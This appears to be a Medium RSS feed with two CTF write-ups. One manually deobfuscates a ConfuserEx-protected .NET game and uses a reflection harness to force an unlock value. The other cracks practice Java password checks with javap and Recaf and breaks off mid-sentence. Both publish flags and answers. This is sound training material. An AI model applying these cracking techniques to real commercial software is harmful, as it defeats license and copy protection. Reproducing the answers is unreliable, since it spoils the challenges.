<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Oscar404 on Medium]]></title>
        <description><![CDATA[Stories by Oscar404 on Medium]]></description>
        <link>https://medium.com/@Oscar404?source=rss-dcc4e76217aa------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*uF6UKbSAA3l_o87Z3TYdiw.jpeg</url>
            <title>Stories by Oscar404 on Medium</title>
            <link>https://medium.com/@Oscar404?source=rss-dcc4e76217aa------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 15:30:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Oscar404/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Grand Larceny Auto: Manually Unpacking a ConfuserEx-Protected .NET/Godot CTF Challenge]]></title>
            <link>https://medium.com/@Oscar404/grand-larceny-auto-manually-unpacking-a-confuserex-protected-net-godot-ctf-challenge-30a0855da9b0?source=rss-dcc4e76217aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/30a0855da9b0</guid>
            <category><![CDATA[dotnet]]></category>
            <category><![CDATA[cracking]]></category>
            <category><![CDATA[dnspy]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[thm-writeup]]></category>
            <dc:creator><![CDATA[Oscar404]]></dc:creator>
            <pubDate>Sat, 29 Aug 2026 09:55:29 GMT</pubDate>
            <atom:updated>2026-09-06T14:21:58.871Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A hands-on walkthrough of defeating rename obfuscation, control-flow flattening, caller-bound string encryption, and a logic bug in a ConfuserEx 1.6.0 protected Godot game — without relying on a one-click deobfuscator.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JTTIRpROE9TGTorm7rGLXg.png" /></figure><h3>Introduction</h3><p>“Grand Larceny Auto” is a TryHackMe CTF challenge shipped as a compiled Godot 4 game with its gameplay logic living in a single .NET assembly, GrandLarcenyAuto.dll. The catch: the assembly is protected with <strong>Confuser.Core 1.6.0+447341964f</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*8VbhfdZMjnxUN9EnvZr5aQ.png" /></figure><p>Automated tools like de4dot can strip a lot of ConfuserEx&#39;s protections in one command. This writeup deliberately avoids that shortcut. The goal was to understand <em>every</em> layer by hand — the same process you&#39;d walk through in dnSpy, one protection at a time — and only reach for tooling (a small reflection harness) once the manual analysis made clear exactly what to ask the binary to do.</p><p><strong>Tools used:</strong> dnSpyEx, monodis, dnfile (Python, for metadata triage), and finally .NET reflection against the assembly itself.</p><h3>Step 1 — Static Triage</h3><p>Before touching any code, the metadata tells you what you’re dealing with:</p><pre>file GrandLarcenyAuto.dll<br># PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows</pre><p>Pulling the TypeDef table and custom attributes confirms the obfuscator and its exact version directly from the embedded marker attribute:</p><pre>Confuser.Core 1.6.0+447341964f</pre><p>The TypeDef table also revealed something worth noting immediately: about ten types were renamed to strings composed entirely of invisible Unicode format characters (e.g. ‌‪‪‮⁮‏‮⁭...) — ConfuserEx&#39;s rename protection. But the classes that actually matter for the challenge — CheatConsole, CryptoUtil, GameController, PlayerState, SafehouseVault, WantedSystem — were left completely readable.</p><p>That’s a deliberate authoring choice: renaming was excluded for the classes that carry the puzzle logic, so the fight isn’t <em>finding</em> the code, it’s getting past the other protections wrapped around it.</p><h3>Step 2 — Control-Flow Flattening, Unrolled by Hand</h3><p>Every “protected” method in this assembly has the same shape: an infinite loop wrapping a switch on a rolling uint state variable, where most cases just XOR/multiply their way to the next state and jump back to the top. For example, SafehouseVault&#39;s constructor:</p><pre>public SafehouseVault(PlayerState player)<br>{<br>    for (;;)<br>    {<br>        IL_06:<br>        uint num = 1369163150U;<br>        for (;;)<br>        {<br>            uint num2;<br>            switch ((num2 = (num ^ 1237861378U)) % 3U)<br>            {<br>                case 0U: goto IL_06;<br>                case 1U:<br>                    this.player = player;<br>                    num = (num2 * 3619912422U ^ 2153699476U);<br>                    continue;<br>            }<br>            return;<br>        }<br>    }<br>}</pre><p>Underneath the noise, this is just:</p><pre>public SafehouseVault(PlayerState player)<br>{<br>    this.player = player;<br>}</pre><p>The manual process is mechanical once you’ve done it a few times:</p><ol><li>Find the state variable and the switch modulus.</li><li>Walk each case. Cases that <em>only</em> recompute state and continue are dispatch noise — discard them.</li><li>Cases with real side effects (field writes, method calls, return) are the actual logic. Chain them in the order the states lead to one another.</li></ol><p>Applying the same process to CryptoUtil.Xor collapses a six-case switch into:</p><pre>public static byte[] Xor(byte[] data, byte[] key)<br>{<br>    byte[] result = new byte[data.Length];<br>    for (int i = 0; i &lt; data.Length; i++)<br>        result[i] = (byte)(data[i] ^ key[i % key.Length]);<br>    return result;<br>}</pre><p>And SafehouseVault.TryOpen() unflattens to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PL8mvBSkB4ZqbR5k2mWAqA.png" /></figure><pre>public string TryOpen()<br>{<br>    if (this.player.WantedStars &gt;= 6)<br>    {<br>        byte[] key = CryptoUtil.DeriveKey(this.player.WantedStars);<br>        byte[] plain = CryptoUtil.Xor(SafehouseVault.SealedBlob, key);<br>        string content = Encoding.UTF8.GetString(plain);<br>        return DecryptString(889253528) + content;<br>    }<br>    return DecryptString(1754313321);<br>}<br>private static readonly byte[] SealedBlob = DecryptBytes(1432660009);<br>CryptoUtil.DeriveKey, <br>similarly unflattened:<br>public static byte[] DeriveKey(int stars) =&gt;<br>    SHA256.HashData(Encoding.UTF8.GetBytes(<br>        &quot;GLA::vault::key::v1::stars=&quot; + stars.ToString(CultureInfo.InvariantCulture)));</pre><p>Worth noting: the salt string here is string-encrypted at its call site inside DeriveKey, but the <em>same literal</em> also exists, unencrypted, as CryptoUtil.Salt. ConfuserEx protects individual instructions, not values consistently across the assembly — an inconsistency like that is a gift to the analyst.</p><h3>Step 3 — The Logic Bug</h3><p>WantedSystem — the class that raises and lowers the player&#39;s wanted level — hard-caps it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3yiBCDR4eFY9VodFT3zGow.png" /></figure><pre>private const int MaxStars = 5;<br>public void EscalateHeat(int amount)<br>{<br>    int num = this.player.WantedStars + amount;<br>    if (num &gt; 5) num = 5;<br>    this.player.WantedStars = num;<br>}</pre><p>Every legitimate in-game path to raising WantedStars clamps at <strong>5</strong>. TryOpen() requires <strong>6</strong>. The vault is intentionally unreachable through normal gameplay — the real puzzle isn&#39;t the crypto, it&#39;s realizing the game&#39;s own API can never satisfy its own unlock condition, and that WantedStars has to be set some other way.</p><h3>Step 4 — A Decoy Along the Way</h3><p>Not everything in this binary is protected. CheatConsole.Submit contains a plaintext string comparison and a plaintext return value:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x65lvtp84it4NMhdpT0QSQ.png" /></figure><pre>if (code == &quot;L0SV4NT0S247&quot;)<br>    return &quot;THM{ch34t_c0d3s_4r3_f0r_t0ur1sts}&quot;;</pre><p>The flag text — “cheat codes are for tourists” — is a wink from the author at anyone who stops at the first readable string they find. It’s a decoy, not the objective.</p><h3>Step 5 — Building a Reflection Harness (and a War Story About BadImageFormatException)</h3><p>With the logic bug identified, the plan was: load the assembly via reflection, construct a PlayerState, force WantedStars to 6, construct a SafehouseVault, and call TryOpen() — letting the assembly&#39;s own (still-encrypted) code do all the decryption work internally.</p><p>The first obstacle had nothing to do with cryptography:</p><pre>Unhandled exception. System.BadImageFormatException: Enclosing type(s) not found<br>for type &#39;‌‪‪‮⁮‏‮⁭‮⁯‌‌‏‬‫⁯‮‍‌⁬‍⁪‫‏⁪‬⁫⁯‪‭⁫‎‮⁬⁪⁮‬⁪⁬‮&#39; in assembly<br>&#39;GrandLarcenyAuto, Version=1.0.0.0, ...&#39;<br>   at System.Runtime.Loader.AssemblyLoadContext.LoadFromAssemblyPath(String assemblyPath)</pre><p>ConfuserEx 1.6.0 targets .NET Framework’s metadata validation rules, which are more lenient about NestedClass table ordering than the modern CoreCLR loader used by Assembly.LoadFrom on .NET 8. The game itself loads the assembly fine at runtime (Godot&#39;s own loading path tolerates it), but a standalone reflection host running under a normal CoreCLR AssemblyLoadContext rejects the file outright during manifest load.</p><p><strong>Fix:</strong> open the DLL in dnSpyEx and use <strong>File → Save Module</strong> with no edits. dnSpy rewrites all metadata tables from scratch during save, which normalizes the NestedClass ordering while leaving the IL and behavior untouched. Re-pointing the harness at the resaved DLL eliminated the exception completely.</p><h3>Step 6 — A Second Surprise: Caller-Bound String Decryption</h3><p>With the loading fixed, the next attempt was to call the &lt;Module&gt;-level string/byte decryption helpers directly:</p><pre>var mod = asm.ManifestModule;<br>var decryptors = mod<br>    .GetMethods(BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Public)<br>    .Where(m =&gt; m.IsGenericMethodDefinition<br>             &amp;&amp; m.GetParameters().Length == 1<br>             &amp;&amp; m.GetParameters()[0].ParameterType == typeof(int))<br>    .ToList();</pre><p>This found <strong>five</strong> distinct generic decrypt methods inside &lt;Module&gt; — ConfuserEx had generated multiple independent decryptor instances rather than one central routine, each tied to a different embedded resource blob. Calling each of them with each known token (889253528, 1754313321, 1432660009), across all five candidates, produced a completely uniform result: empty strings, and ArgumentNullException on the byte-array overloads.</p><p>That uniformity across every combination was the interesting signal — a real bug would fail on some combinations and succeed on others. Failing <em>everywhere</em>, identically, pointed to something structural about <em>how</em> the call was being made rather than <em>what</em> was being called.</p><p>The explanation: this build’s string-encryption protection derives its decryption key not only from the integer token, but from <strong>the identity of the calling method</strong> (typically via a StackFrame/MethodBase lookup of the immediate caller&#39;s metadata token). When SafehouseVault.TryOpen() calls the helper, the caller is TryOpen itself — the exact call site the obfuscator keyed the ciphertext against at protection time. When the same helper is invoked via MethodInfo.Invoke() from an external harness, the runtime-visible caller is different, the derived key is wrong, and decryption silently produces garbage or a zero-length result.</p><p>This is a protection layer beyond the four discussed so far (selective rename, control-flow flattening, LZMA-style string compression, anti-tamper-style module initialization): <strong>caller-bound decryption</strong>, which defeats naive “extract every encrypted string by calling the decryptor directly” approaches.</p><h3>Step 7 — The Working Solution: Let the Real Call Site Do the Work</h3><p>The fix follows directly from the caller-bound discovery: don’t call the decryptors yourself — call the <em>public method that already calls them in the right context</em>.</p><pre>using System;<br>using System.Reflection;<br><br>class Program {<br>    static void Main() {<br>        var asm = Assembly.LoadFrom(&quot;GrandLarcenyAuto.dll&quot;); // dnSpy-resaved copy<br><br> var playerStateType = asm.GetType(&quot;GrandLarcenyAuto.PlayerState&quot;)!;<br> var vaultType = asm.GetType(&quot;GrandLarcenyAuto.SafehouseVault&quot;)!;<br><br> var player = Activator.CreateInstance(playerStateType)!;<br> var wantedStarsProp = playerStateType.GetProperty(&quot;WantedStars&quot;)!;<br><br> // Bypass the in-game cap of 5 directly via reflection<br> wantedStarsProp.SetValue(player, 6);<br><br> var vault = Activator.CreateInstance(vaultType, player)!;<br> var result = vaultType.GetMethod(&quot;TryOpen&quot;)!.Invoke(vault, null);<br><br> Console.WriteLine(result);<br>    }<br>}</pre><p>Because TryOpen() itself is the caller of the decrypt helpers, the derived key matches, decryption succeeds, and the method returns its normal (unobfuscated, at the source level) string — the concatenation of the decrypted success prefix and the XOR-decrypted vault content.</p><p>The output is <strong>THM{h0tf1x3d_my_0wn_w4nt3d_l3v3l}</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*duSuKzMiLtyaEN1KqNYuag.png" /></figure><h3>Another way to get the flag Using dnspy:</h3><p>first we should make a breakpoint:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qp1Nlycz_RVXycI4tkD_2A.png" /></figure><p>then we start debugging:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*tOHB-KVBZYcmTyUz68ePtw.png" /></figure><p>the game will start, Go to the safe and press F button:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*US4u0IckWcbmc068v_SPnw.png" /></figure><p>in the debugger update the WantedStars to be 6:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XBxyVa62hxmliKJAwoZieA.png" /></figure><p>press continue on Dnspy and viola:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mPZ2Vn7mGR_f3BbX_8bSMg.png" /></figure><p>we got the flag!</p><h3>Takeaways</h3><ul><li><strong>Rename protection is not always applied uniformly.</strong> Which types are exempted is often a map of what the challenge wants you to look at.</li><li><strong>Control-flow flattening is mechanical, not magical.</strong> Identify the state variable, discard dispatch-only cases, and the original logic falls out every time.</li><li><strong>A loader exception is not always a cryptography problem.</strong> Assembly.LoadFrom under modern CoreCLR enforces stricter metadata-table ordering than the obfuscator&#39;s original .NET Framework target; a clean dnSpy resave is often the fix, and it&#39;s worth ruling out before assuming the obfuscation itself is broken.</li><li><strong>Uniform failure across every combination is itself a data point.</strong> When every decryptor fails identically against every known token, the bug is usually in the calling context, not the tokens or the candidate selection.</li><li><strong>String/constant encryption doesn’t need to be reverse-engineered algorithmically</strong> if you can get the assembly to decrypt its own strings — but <em>how</em> you call into it matters. Prefer calling the real public API that already does the decryption internally over calling low-level helpers directly, especially when a protection scheme derives keys from caller identity.</li><li><strong>The hardest part of this challenge wasn’t the obfuscation — it was the application logic bug</strong> (WantedStars capped below the vault&#39;s own unlock threshold). Deobfuscation just clears the fog so the actual puzzle becomes visible.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30a0855da9b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JVM Reverse Engineering]]></title>
            <link>https://medium.com/@Oscar404/jvm-reverse-engineering-99a12fd59eeb?source=rss-dcc4e76217aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/99a12fd59eeb</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[thm-writeup]]></category>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[java-byte-code]]></category>
            <dc:creator><![CDATA[Oscar404]]></dc:creator>
            <pubDate>Fri, 12 Dec 2025 15:50:47 GMT</pubDate>
            <atom:updated>2025-12-12T15:50:47.012Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JH9UUq9S56mp2YgNcFWPgQ.png" /></figure><p>In this article we are going to see how to vitally crack Java Programs to Learn Reverse Engineering for Java Virtual Machine bytecode..</p><p>also in this article we are going to break 5 Java programs that are related to this challenge:</p><p><a href="https://tryhackme.com/room/jvmreverseengineering">https://tryhackme.com/room/jvmreverseengineering</a></p><p>to learn more about Java bytecode you can read this book branch JAVA:</p><p><a href="https://bdigital.uvhm.edu.mx/wp-content/uploads/2020/07/Reverse-Engineering-for-Beginners.pdf">https://bdigital.uvhm.edu.mx/wp-content/uploads/2020/07/Reverse-Engineering-for-Beginners.pdf</a></p><h3>Task 1: introduction</h3><p>When java applications are compiled, they are turned into an intermediary form of machine code, known as bytecode.</p><p>While java source code is designed to be easy for humans to read, bytecode is designed to be easy for machines to read.</p><p>When you execute a compiled java application the class file is read and interpreted by a Java Virtual Machine. This is like a custom virtual CPU that runs inside your existing CPU and follows a different instruction set, the JVM instruction set.</p><p><strong>Java Bytecode is a stack based language</strong>.</p><p>This means that temporary variables are stored in the stack, rather than how x86 stores in registers. Stacks are like buckets. When you add a variable to the stack, you put it at the top of the bucket.</p><p>When you remove/use a variable from the stack you use the variable at the top of the stack.</p><p>If you attempt to retrieve a variable from an empty stack this is known as a Stack Underflow.</p><p>If you add too many variables such that the stack reaches its memory limit, this is known as a Stack Overflow (Think of a bucket overflowing from too many items).</p><p>this challenge simply teaches us few things about Java and its bytecode, also simple tool called javap to reverse engineering .class files:</p><p>so my friends you can navigate to this link to see literally almost all the instructions you will encounter while reading and Java bytecode:</p><p><a href="https://en.wikipedia.org/wiki/List_of_Java_bytecode_instructions">https://en.wikipedia.org/wiki/List_of_Java_bytecode_instructions</a></p><p>now lets see the basics according to this one:</p><p>The java bytecode to print “Hello World” to console is shown below:</p><p>getstatic java/lang/System.out:Ljava/io/PrintStream; // Retrieve the static variable &quot;out&quot; in the System class and store it on the stack</p><p>ldc &quot;Hello World&quot; // Load the string &quot;Hello World&quot; onto the stack</p><p>invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V // Invoke the &quot;println&quot; function on the System.out variable using the string at the top of the stack as an argument</p><p>Because JVM Bytecode is a high level representation of the original source code, constructs such as methods, fields and classes are still visible.</p><p>Classes are compiled into .class files, one class per file. These can reference other classes which will be linked by the JVM at runtime.</p><p>By using a parser such as javap we are able to see the methods and fields present in a class. Each will have a name and a descriptor.</p><p>The descriptor is a representation of the arguments and return type a method can take, or the type of a field.</p><p>The following method:</p><p>void main(String[] args, int i)</p><p>would produce this descriptor and name:</p><p>main([Ljava/lang/String;I)V</p><p>The args are surrounded in brackets. A [ brace represents an array. An object is represented by a fully qualified internal name prepended by an L and appended by an ;.</p><p>The I represents an Int, and the V at the end represents the type void. A full writeup on descriptors can be seen here: <a href="https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html#jvms-4.3">https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html#jvms-4.3</a>.</p><p>Javap is a tool bundled with JDK releases that can disassemble compiled classes.</p><p>For Example lets build Hello World App:</p><pre>// HelloWorld.java<br>public class HelloWorld {<br>    <br>    // Your program begins with a call to main()<br>    public static void main(String[] args)<br>    {<br>        // Prints &quot;Hello, World&quot; to the terminal window.<br>        System.out.println(&quot;Hello, World&quot;);<br>    }<br>}</pre><p>now lets compile it:</p><pre>javac HelloWorld.java</pre><p>by doing so we will have a generated file called HelloWorld.class and for sure we can run it using:</p><pre>java HelloWorld</pre><p>now lets see the bytecode which going to be inside this .class file and here we are using <strong>javap</strong>:</p><p>(p = show private members, v = verbose)</p><pre>javap -v -p HelloWorld.class</pre><p>by this my friends we are getting the bytecode, and here we can discuss the most important parts of this output:</p><pre>Classfile /D:/reverse_engineering/CTF/java/HelloWorld.class<br>  Last modified Dec 8, 2025; size 426 bytes<br>  SHA-256 checksum 83940cba3ca66b9a6b39fb62a27bac2e65f0454218668ca3fa87a91757c42848<br>  Compiled from &quot;HelloWorld.java&quot;<br>public class HelloWorld<br>  minor version: 0<br>  major version: 66<br>  flags: (0x0021) ACC_PUBLIC, ACC_SUPER<br>  this_class: #21                         // HelloWorld<br>  super_class: #2                         // java/lang/Object<br>  interfaces: 0, fields: 0, methods: 2, attributes: 1</pre><p>here we can see that this file Compiled from “HelloWorld.java” which tells us exactly that HelloWorld.java is the source code of this one and it has two methods of functions.</p><p>lets go more down:</p><pre>Constant pool:<br>   #1 = Methodref          #2.#3          // java/lang/Object.&quot;&lt;init&gt;&quot;:()V<br>   #2 = Class              #4             // java/lang/Object<br>   #3 = NameAndType        #5:#6          // &quot;&lt;init&gt;&quot;:()V<br>   #4 = Utf8               java/lang/Object<br>   #5 = Utf8               &lt;init&gt;<br>   #6 = Utf8               ()V<br>   #7 = Fieldref           #8.#9          // java/lang/System.out:Ljava/io/PrintStream;<br>   #8 = Class              #10            // java/lang/System<br>   #9 = NameAndType        #11:#12        // out:Ljava/io/PrintStream;<br>  #10 = Utf8               java/lang/System<br>  #11 = Utf8               out<br>  #12 = Utf8               Ljava/io/PrintStream;<br>  #13 = String             #14            // Hello, World<br>  #14 = Utf8               Hello, World<br>  #15 = Methodref          #16.#17        // java/io/PrintStream.println:(Ljava/lang/String;)V<br>  #16 = Class              #18            // java/io/PrintStream<br>  #17 = NameAndType        #19:#20        // println:(Ljava/lang/String;)V<br>  #18 = Utf8               java/io/PrintStream<br>  #19 = Utf8               println<br>  #20 = Utf8               (Ljava/lang/String;)V<br>  #21 = Class              #22            // HelloWorld<br>  #22 = Utf8               HelloWorld<br>  #23 = Utf8               Code<br>  #24 = Utf8               LineNumberTable<br>  #25 = Utf8               main<br>  #26 = Utf8               ([Ljava/lang/String;)V<br>  #27 = Utf8               SourceFile<br>  #28 = Utf8               HelloWorld.java</pre><p>and this is called The Constant Pool: is a central table within each .class file that contains all the “constant” code you need this part litrally is the DNA of each .class file or lets say its the compass for each java program for containing:</p><p>Class names, Function names, Descriptors, Texts (“Hello”), Numbers, References to fields and functions, Linking information</p><p>Simply put: The code itself doesn’t know names — it refers to numbers within the Constant Pool.</p><p>and at the end my friends, we have two methods or functions:</p><pre>  public HelloWorld();<br>    descriptor: ()V<br>    flags: (0x0001) ACC_PUBLIC<br>    Code:<br>      stack=1, locals=1, args_size=1<br>         0: aload_0<br>         1: invokespecial #1                  // Method java/lang/Object.&quot;&lt;init&gt;&quot;:()V<br>         4: return<br>      LineNumberTable:<br>        line 1: 0<br><br>  public static void main(java.lang.String[]);<br>    descriptor: ([Ljava/lang/String;)V<br>    flags: (0x0009) ACC_PUBLIC, ACC_STATIC<br>    Code:<br>      stack=2, locals=1, args_size=1<br>         0: getstatic     #7                  // Field java/lang/System.out:Ljava/io/PrintStream;<br>         3: ldc           #13                 // String Hello, World<br>         5: invokevirtual #15                 // Method java/io/PrintStream.println:(Ljava/lang/String;)V<br>         8: return<br>      LineNumberTable:<br>        line 7: 0<br>        line 8: 8<br>}</pre><p>as you can see here: descriptor: ()V telling us that this method return noting (V:void) and doesn’t take parameters, ACC_PUBLIC to make the method public, Code holds the main code for this method</p><p>the second method: descriptor: ([Ljava/lang/String;)V telling us its void and takes paramter Ljava/lang/String, ACC_PUBLIC, ACC_STATIC means its public and static, Code:</p><p>getstatic: get a static field <em>value</em> of a class so here it trieds to get java/lang/System.out:Ljava/io/PrintStream.</p><p>ldc: loads constant which going to be the “Hello, World ” message</p><p>invokevirtual: invoke virtual method on object <em>objectref</em> and puts the result on the stack so here it tries to access println method to print out the message.</p><h4>now lets solve the first task:</h4><p>Consider the following bytecode:</p><p>LDC 0</p><p>LDC 3</p><p>SWAP</p><p>POP</p><p>INEG</p><p>we can understand by LDC 0 and LDC 3 that it loads 0 and 3 to the stack to the stack now is [0,3] and SWAP will swap these values to be [3,0] then it will POP to pop up 0 from the stack (delete it) and now we only have [3] then INEG will negate any integer value so [3] will be [-3], now lets answer:</p><p>Which value is now at the top of the stack?</p><p><strong>-3</strong></p><p>Which opcode is used to get the XOR of two longs? (answer in lowercase)?</p><p><strong>lxor</strong></p><p>What does the -v flag on javap stand for? (answer in lowercase)</p><p><strong>verbose</strong></p><p>finally my friends once more i recommend you to read the book and take some minutes to see the most important instructions!</p><h3>Task 2: Simple Hello World</h3><p>tells us: Complete the follow challenges.</p><p>so lets download the file and use javap against the .calss file:</p><pre>javap -v -p Main_1584042869908.class</pre><p>we get:</p><pre>  public static void main(java.lang.String[]);<br>    descriptor: ([Ljava/lang/String;)V<br>    flags: (0x0009) ACC_PUBLIC, ACC_STATIC<br>    Code:<br>      stack=2, locals=2, args_size=1<br>         0: iconst_0<br>         1: istore_1<br>         2: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;<br>         5: ldc           #3                  // String Hello World<br>         7: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V<br>        10: iinc          1, 2<br>        13: return<br>      LineNumberTable:<br>        line 5: 0<br>        line 6: 2<br>        line 7: 10<br>        line 8: 13<br>}<br>SourceFile: &quot;SecretSourceFile.java&quot;</pre><p>first of all take a look at the constant pool (well, you always have to!) and then lets understand what does this method tries to do:</p><p>iconst_0 and istore_1 for Variable initialization and put local[1] = 0 (A local variable that will not be used after this), 2: getstatic #2 to the static field or method System.out and ldc to load constant which going to be “Hello World” and invokevirtual #4 to invoke println method for execution, and finally iinc to increment 1 by 2 also you see that the sourceFile is known.</p><p>now lets answer the questions:</p><p>Find the name of the file that this class was compiled from (AKA Source File)?</p><p><strong>SecretSourceFile.java</strong></p><p>What is the super class of the Main class? (Using internal name format, i.e. /)</p><p><strong>java/lang/Object</strong></p><p>What is the value of the local variable in slot 1 when the method returns? (In decimal format)</p><p><strong>2</strong></p><h3>Task 3: Cracking a password protected application</h3><p>The given class file takes a password as a parameter. You need to find the correct one. Tools like javap will be sufficient.</p><p>perfect, now let’s see the bytecode using javap:</p><pre>javap -v -p PasswordProtectedApplication_1584043806242.class</pre><p>and now lets study the constant pool:</p><pre>Constant pool:<br>   #1 = Methodref          #10.#21        // java/lang/Object.&quot;&lt;init&gt;&quot;:()V<br>   #2 = String             #22            // yxvF2ho95ANJVCX<br>   #3 = Methodref          #23.#24        // java/lang/String.equals:(Ljava/lang/Object;)Z<br>   #4 = Fieldref           #25.#26        // java/lang/System.out:Ljava/io/PrintStream;<br>   #5 = String             #27            // You guessed the correct password<br>   #6 = Methodref          #28.#29        // java/io/PrintStream.println:(Ljava/lang/String;)V<br>   #7 = String             #30            // You guessed the wrong password<br>   #8 = String             #31            // Please supply a password<br>   #9 = Class              #32            // PasswordProtectedApplication<br>  #10 = Class              #33            // java/lang/Object<br>  #11 = Utf8               &lt;init&gt;<br>  #12 = Utf8               ()V<br>  #13 = Utf8               Code<br>  #14 = Utf8               LineNumberTable</pre><p>as you can see, we have special string at #2 where it seems to be a password but lets see the instructions below:</p><pre>        10: aload_1<br>        11: ldc           #2                  // String yxvF2ho95ANJVCX<br>        13: invokevirtual #3                  // Method java/lang/String.equals:(Ljava/lang/Object;)Z<br>        16: ifeq          28<br>        19: getstatic     #4                  // Field java/lang/System.out:Ljava/io/PrintStream;<br>        22: ldc           #5                  // String You guessed the correct password<br>        24: invokevirtual #6                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V<br>        27: return</pre><p>here it first load the password using ldc (load constant), then it uses the equal function or method to check whether the password equals the one stored or not then it prints out correct or wrong so now we know:</p><p>What is the correct password?</p><p><strong>yxvF2ho95ANJVCX</strong></p><h3>Task 4: Basic String Obfuscation</h3><p>Like the previous task, this program takes a password as an argument, and outputs whether or not it is correct. This time the string is not directly present in the class file, and you will need to use either a decompiler, bytecode analysis or virtualisation to find it.</p><p>Based on the description, javap won’t work for us here, and we’ll need a decompiler for this task, excellent!</p><p>so here we are going to get some help from Recaf tool:</p><p><a href="https://recaf.coley.software/home.html">Recaf</a></p><p>we simply drag and drop the .class file to this tool and Voilà we have something very similar to the source code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jSWsHXNS_gR5UIKzAJW_8w.png" /><figcaption>Recaf tool</figcaption></figure><p>as you can see, first the password is loaded in a string called correctPassword then at the main function its being compared with with our string that we pass to the program, put be careful!</p><p>the program itself does decrypt the password using XOR operation and the function that responsible for this is the xor bellow…</p><pre>D:\&gt; ren BasicStringObfuscation_1584044464985.class BasicStringObfuscation.class<br>D:\&gt; java BasicStringObfuscation password12345<br>Incorrect</pre><p>Here, we can clearly do two things. The first is to modify the program to print the password automatically, regardless of whether we enter the correct password or not. The Recaf tool will, of course, do this. The second is to reverse the XOR algorithm and deduce the correct password.</p><p><strong>Since the XOR algorithm is easier to break here, I will focus on it…..</strong></p><p>according to the XOR function it does the following:</p><p>first it takes the string correctPassword and convert it to an array then it takes each letter in the array and convert it to ASCII number then it retrieves the index of the same letter and it divide the index by three then it does the XOR, for example the first letter is a and its equivalent number in ASCII is 97 and its index is 0, so:</p><p>first letter a = (97 xor 0 % 3) = (97 xor 0) = (97 = a)</p><p>second letter R = (82 xor 1 % 3) = (82 xor 1) = (83 = S)</p><p>and so on… so by this:</p><p>What is the correct password?</p><p><strong>aSc2mRT7C6fKql6RD</strong></p><h3>Task 6: Advanced String Obfuscation</h3><p>This program follows the same logic as the previous task, however it has a custom obfuscation layered on top. You might require a decompiler for this, as well as custom tools. This uses anti virtualization techniques as well, so be warned.</p><p>for this task and the previous one, it expects to pass the password to check using CLI like this:</p><pre>D:\&gt; java -jar BasicStringObfuscation-obf_1584046521834.jar password<br>Incorrect</pre><p>In this task, we will also use Recaf, especially since the program is in JAR format..</p><p>so we drag and drop the file to the tool, and then we have:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*DBv6pCvwGr20g5uSHAmbNw.png" /><figcaption>Recaf tool</figcaption></figure><p>From the previous code, we see that the password is loaded into a variable called C, but the idea is that it is loaded in a complex way by performing many decryption operations according to the <strong>1</strong> class and its method called <strong>a</strong></p><p>if (stringArray.length &gt;= ((int)1506594314L ^ 0x59CCCE0B)) {…..}</p><p>This part confirms that we are entering the password alongside the program while it is running and (1506594314 XOR 59CCCE0B = 1) so it checks how many arguments we are passing to the CLI, if its more than one the program will work but if not the program will say Please provide a password…. and the part responsible for printing out this:</p><p>System.out.println(1.a(4, 87));</p><p>Also, at the end of the previous code, specifically in the method c of the same class, it is decoded again using another algorithm.</p><p>perfect, and in the main method it performs the checks:</p><p>if (0.c(1.a(1, 95)).equals(string)) {….}</p><p>It loads the correct password using 1.a() method (after the first decryption of course) and then it wraps the password using 0.c() method (for the final decryption) then it checks if the password is equal to the password that we are going to pass or not.</p><p>Thus, we have all the measurements that clearly demonstrate that we cannot reverse that encryption process; even if we succeed in decrypting the first process, it will take a long time with the second, and so on.</p><p>Now it’s time to modify the program so that it automatically prints the correct password, and this part that we are going to modify or patch:</p><p><strong>System.out.println(1.a(4, 87));</strong></p><p>Because this part is easier to modify and will always work when we don’t pass the password to the 